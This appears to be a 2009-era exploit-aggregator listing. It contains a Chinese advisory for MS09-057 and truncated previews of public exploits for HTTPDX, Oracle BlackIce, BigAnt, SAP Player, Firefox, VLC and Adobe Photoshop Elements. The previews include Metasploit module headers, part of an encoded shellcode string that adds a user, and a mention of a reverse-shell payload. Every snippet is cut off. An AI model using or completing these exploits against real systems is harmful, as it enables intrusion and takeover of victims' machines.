Microsoft Windows索引服务ActiveX控件内存破坏漏洞（MS09-057）

BUGTRAQ ID: 36629 CVECAN ID: CVE-2009-2507 Windows是微软发布的非常流行的操作系统。 Windows的索引服务所包含的ActiveX控件未正确处理特制Web内容，导致Windows系统上的索引服务中存在内存破坏漏洞。成功利用此漏洞的攻击者可以完全控制受影响的系统。 Microsoft Windows XP SP3 Microsoft Windows XP SP2 Microsoft Windows Server 2003 SP2 Microsoft Windows Server 2003 SP1 Microsoft Windows...

HTTPDX h_handlepeer() Buffer Overflow

require 'msf/core' class Metasploit3 'HTTPDX hhandlepeer Function Buffer Overflow', 'Description' = %q This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The vulnerability is caused due to a boundary error within the "hhandlepeer" function in http.cpp. By...

httpdx 1.4 - h_handlepeer Buffer Overflow (Metasploit)

require 'msf/core' class Metasploit3 'HTTPDX hhandlepeer Function Buffer Overflow', 'Description' = %q This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The vulnerability is caused due to a boundary error within the "hhandlepeer" function in http.cpp. By...

httpdx 1.4 h_handlepeer BoF

No description provided by source. require 'msf/core' class Metasploit3 Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initializeinfo = superupdateinfoinfo, 'Name' = 'HTTPDX hhandlepeer Function Buffer Overflow', 'Description' = %q This module exploits a stack-based buffer overflow...

Millenium MP3 Studio 2.0 - '.m3u' Local Buffer Overflow

Vulnerability : .m3u File Local Stack Overflow Universal Exploit SEH + Product : Millenium MP3 Studio + Versions affected : v2.0 + Download : http://www.software112.com/products/mp3-millennium+download.html + Method : seh + Tested on : Windows XP SP2 En, Windows XP SP3 En, Windows Vista SP1 Swe +...

HTTPDX h_handlepeer() Function Buffer Overflow

This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The vulnerability is caused due to a boundary error within the "hhandlepeer" function in http.cpp. By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code. Modul...

Adobe Photoshop Elements 8.0 - Active File Monitor Privilege Escalation

Adobe Photoshop Elements 8.0 - Active File Monitor Privilege Escalation Adobe Photoshop Elements 8.0 Active File Monitor Service Bad Security Descriptor Local Elevation Of Privileges by Nine:Situations:Group::bellick site: http://retrogod.altervista.org/ Tested on Microsoft Windows XP SP3 The...

Adobe Photoshop Elements 8.0 Privilege Escalation

Adobe Photoshop Elements 8.0 Active File Monitor Service Bad Security Descriptor Local Elevation Of Privileges by Nine:Situations:Group::bellick site: http://retrogod.altervista.org/ Tested on Microsoft Windows XP SP3 The "Adobe Active File Monitor V8" service is installed with an improper securi...

Adobe Photoshop Elements 8.0 Active File Monitor Privilege Escalation

Exploit for unknown platform in category local exploits ===================================================================== Adobe Photoshop Elements 8.0 Active File Monitor Privilege Escalation ===================================================================== Title: Adobe Photoshop Elements...

Oracle - Document Capture BlackIce DEVMODE

Oracle - Document Capture BlackIce DEVMODE var devmode = new ActiveXObject"BLACKICEDEVMODE.BlackIceDEVMODECtrl.1"; //user add, user: sun pass: tzu scode = unescape "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" +...

Oracle Document Capture BlackIce Stack Buffer Overflow

var devmode = new ActiveXObject"BLACKICEDEVMODE.BlackIceDEVMODECtrl.1"; //user add, user: sun pass: tzu scode = unescape "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +...

Oracle Document Capture BlackIce DEVMODE exploit

No description provided by source. !-- Oracle Document Capture BlackIce DEVMODE ActiveX Control remote stack based buffer overflow IE8 /xp sp3 by Nine:Situations:Group::pyrokinesis CLSID: 1503569A-0AE2-4333-B6E6-466AB0BC73E5 Progid: BLACKICEDEVMODE.BlackIceDEVMODECtrl.1 Binary Path:...

VideoLAN VLC Media Player 1.0.2 - smb: URI Stack Overflow

VideoLAN VLC Media Player 1.0.2 - smb: URI Stack Overflow VLC Media Player 1.0.2 smb:// URI Handling Remote Stack Overflow PoC Found By: DrIDE Tested: Windows XP SP2 , XP SP3 and Windows 7 RC1 with VLC 1.0.2 "Goldeneye" Download:...

Mozilla Firefox 2.0.0.16 UTF-8 URL Remote Buffer Overflow Exploit

No description provided by source. !/usr/bin/python FireFox 2.0.0.16 Windows XP SP3 x86 Remote Exploit Author: Dominic Chell [email protected] Exploits the UTF-8 URL overflow vulnerability described in CVE-2008-0016. As of September 2009 there are no public exploits for this vulnerability...

BigAnt Server 2.50 Buffer Overflow

!/usr/bin/python BigAnt Server version 2.50 SEH Overwrite - 0day Written and discovered by Blake Tested on Windows XP SP3 $ ./bigant.py 192.168.1.131 6660 BigAnt Server v2.50 SEH Overwrite 0day Written and discovered by Blake Tested on Windows XP SP3 + Connecting to 192.168.1.131 on port 6660 +...

SAP Player 0.9 Buffer Overflow

!/usr/bin/python SAP player 0.9 .pla Universal Local BoF Exploit SEH Download: http://www.sorinara.com/sap/sap09.exe Credits go to: PLATEN Coded by: Steven Seeley aka mrme Tested on Windows XP SP3 Its not dead till its buried ; windows/shell/reversetcp - 617 bytes stage 1 http://www.metasploit.co...

SAP Player 0.9 (.pla) Universal Local Buffer Overflow Exploit (SEH)

Exploit for unknown platform in category local exploits =================================================================== SAP Player 0.9 .pla Universal Local Buffer Overflow Exploit SEH =================================================================== !/usr/bin/python SAP player 0.9 .pla...

SAP Player 0.9 - .pla Universal Local Buffer Overflow (SEH)

SAP Player 0.9 - .pla Universal Local Buffer Overflow SEH !/usr/bin/python SAP player 0.9 .pla Universal Local BoF Exploit SEH Download: http://www.sorinara.com/sap/sap09.exe Credits go to: PLATEN Coded by: Steven Seeley aka mrme Tested on Windows XP SP3 Its not dead till its buried ;...

BigAnt Server 2.50 - GET Remote Buffer Overflow (SEH)

BigAnt Server 2.50 - GET Remote Buffer Overflow SEH !/usr/bin/python BigAnt Server version 2.50 SEH Overwrite - 0day Written and discovered by Blake Tested on Windows XP SP3 $ ./bigant.py 192.168.1.131 6660 BigAnt Server v2.50 SEH Overwrite 0day Written and discovered by Blake Tested on Windows X...

SAP Player 0.9 (.pla) Universal Local Buffer Overflow Exploit (SEH)

No description provided by source. !/usr/bin/python SAP player 0.9 .pla Universal Local BoF Exploit SEH Download: http://www.sorinara.com/sap/sap09.exe Credits go to: PLATEN Coded by: Steven Seeley aka mrme Tested on Windows XP SP3 Its not dead till its buried ; windows/shell/reversetcp - 617 byt...